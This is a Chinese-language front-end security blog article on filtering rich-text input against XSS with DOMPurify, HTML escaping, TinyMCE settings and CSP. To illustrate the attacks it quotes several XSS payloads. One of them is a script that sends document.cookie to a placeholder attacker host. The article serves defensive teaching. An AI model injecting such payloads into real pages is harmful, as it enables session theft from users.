阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > 富文本输入的安全处理(如 XSS 过滤)

富文本输入的安全处理(如 XSS 过滤)

作者:陈川 阅读数:35057人阅读 分类: 前端安全

富文本输入的安全处理(如 XSS 过滤)

富文本输入是 Web 应用中常见的功能,允许用户输入带格式的内容,如加粗、斜体、链接等。然而,这也带来了严重的安全风险,尤其是跨站脚本攻击(XSS)。XSS 攻击者可以通过注入恶意脚本,窃取用户数据或执行未授权操作。因此,正确处理富文本输入是前端安全的关键环节。

XSS 攻击的基本原理

XSS 攻击通常分为三类:存储型、反射型和 DOM 型。富文本输入最容易引发存储型 XSS,因为用户提交的内容会被持久化到数据库,并在其他用户访问时渲染到页面上。例如:

<script>alert('XSS');</script>

如果这段脚本未经处理直接渲染到页面,就会执行弹窗操作。更危险的场景是攻击者通过 document.cookie 窃取用户会话信息:

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>

富文本过滤的基本策略

白名单过滤

白名单过滤是最常见的防御手段,只允许特定的 HTML 标签和属性通过。例如,允许 <b><i><a> 等基础标签,但禁止 <script><iframe> 等危险标签。以下是使用 DOMPurify 库的示例:

import DOMPurify from 'dompurify';

const dirtyHtml = '<script>alert("XSS")</script><b>Safe text</b>';
const cleanHtml = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'a'],
  ALLOWED_ATTR: ['href', 'title']
});

console.log(cleanHtml); // 输出: <b>Safe text</b>

转义特殊字符

对于不需要保留 HTML 标签的场景,可以直接转义特殊字符。例如,将 < 转义为 &lt;> 转义为 &gt;。这样可以完全避免 HTML 注入:

function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

const userInput = '<script>alert("XSS")</script>';
console.log(escapeHtml(userInput)); // 输出: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

处理富文本中的链接和事件

即使允许 <a> 标签,也需要警惕 href 属性中的 JavaScript 协议或其他恶意内容:

<a href="javascript:alert('XSS')">Click me</a>

可以通过白名单限制协议,只允许 httphttpsmailto

const dirtyLink = '<a href="javascript:alert(\'XSS\')">Click me</a>';
const cleanLink = DOMPurify.sanitize(dirtyLink, {
  ALLOWED_TAGS: ['a'],
  ALLOWED_ATTR: ['href'],
  ALLOWED_URI_REGEXP: /^(https?|mailto):/i
});

console.log(cleanLink); // 输出: <a>Click me</a> (href 被移除)

类似地,需要禁止 onclickonmouseover 等事件属性:

<div onclick="alert('XSS')">Hover me</div>

处理 CSS 和样式注入

富文本中的 style 属性也可能被滥用,例如通过 CSS 表达式或 url() 执行脚本:

<div style="background: expression(alert('XSS'))">Styled content</div>

解决方案是限制 style 属性的内容,或完全禁止:

const dirtyStyle = '<div style="background: expression(alert(\'XSS\'))">Content</div>';
const cleanStyle = DOMPurify.sanitize(dirtyStyle, {
  ALLOWED_TAGS: ['div'],
  FORBID_ATTR: ['style']
});

console.log(cleanStyle); // 输出: <div>Content</div>

服务端与客户端的协同防御

前端过滤不能替代服务端验证。攻击者可能绕过前端直接向 API 提交恶意数据。因此,服务端也需要对富文本进行过滤:

// Node.js 示例(使用 dompurify)
const express = require('express');
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const app = express();
app.use(express.json());

app.post('/save-content', (req, res) => {
  const dirtyHtml = req.body.content;
  const window = new JSDOM('').window;
  const purify = DOMPurify(window);
  const cleanHtml = purify.sanitize(dirtyHtml, { ALLOWED_TAGS: ['b', 'i'] });
  // 存储 cleanHtml 到数据库
  res.send({ success: true });
});

富文本编辑器的安全配置

常见的富文本编辑器(如 TinyMCE、CKEditor)提供了安全配置选项。以 TinyMCE 为例:

tinymce.init({
  selector: '#editor',
  plugins: 'link',
  valid_elements: 'b,i,a[href|title]',
  valid_styles: { '*': 'color,font-size' },
  content_security_policy: "script-src 'self'"
});

内容安全策略(CSP)的补充作用

即使过滤了富文本,CSP 也能作为最后一道防线。例如,禁止内联脚本和执行外部脚本:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'

实际案例分析

某社交平台曾因富文本过滤不严导致存储型 XSS 攻击。攻击者在个人简介中注入以下内容:

<img src="x" onerror="stealCookies()">

修复方案是升级过滤库并限制 onerror 等事件属性:

DOMPurify.sanitize(userInput, {
  FORBID_ATTR: ['onerror', 'onload'],
  FORBID_TAGS: ['img']
});

持续监控与更新

XSS 攻击手法不断演变,过滤规则也需要定期更新。例如,SVG 标签和 data: 协议也曾被滥用:

<svg><script>alert('XSS')</script></svg>

解决方案是及时更新 DOMPurify 等库,并关注新的漏洞公告。

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益,请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌